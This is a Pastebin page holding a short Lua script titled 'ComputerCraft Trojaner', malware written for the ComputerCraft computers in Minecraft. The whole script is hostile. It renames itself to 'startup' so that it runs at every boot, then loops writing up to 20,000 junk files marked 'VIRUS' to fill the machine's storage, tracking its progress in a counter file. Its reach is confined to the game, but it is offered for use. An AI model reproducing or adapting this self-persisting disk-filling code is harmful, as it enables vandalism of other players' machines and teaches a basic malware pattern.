Advertisement
Jeyjey0

ComputerCraft Trojaner

Sep 7th, 2016
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.82 KB | None | 0 0
  1. local ips = shell.getRunningProgram()
  2. if ips == "startup" == false then
  3. shell.run("rename ",shell.getRunningProgram(),"startup")
  4. end
  5. local filePath = 1
  6. function test()
  7. local filePath = 1
  8. if fs.exists("viray") == false then
  9. local fileHandle = fs.open("viray","w")
  10. coau = 0
  11. fileHandle.write (textutils.serialize (coau))
  12. fileHandle.close()
  13. end
  14. while true do
  15. local filePath = 'viray'
  16. local fileHandle = fs.open (filePath, 'r')
  17. filePath = textutils.unserialize (fileHandle.readAll())
  18. if filePath < 20000 then
  19. local fileHandle = fs.open(tostring(filePath),"w")
  20. fileHandle.write (textutils.serialize ("VIRUS"))
  21. fileHandle.close()
  22. filePath = filePath + 1
  23. local fileHandle = fs.open("viray","w")
  24. fileHandle.write (textutils.serialize (filePath))
  25. fileHandle.close()
  26. print(filePath,"edited files")
  27. end
  28. end
  29. end
  30. test()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement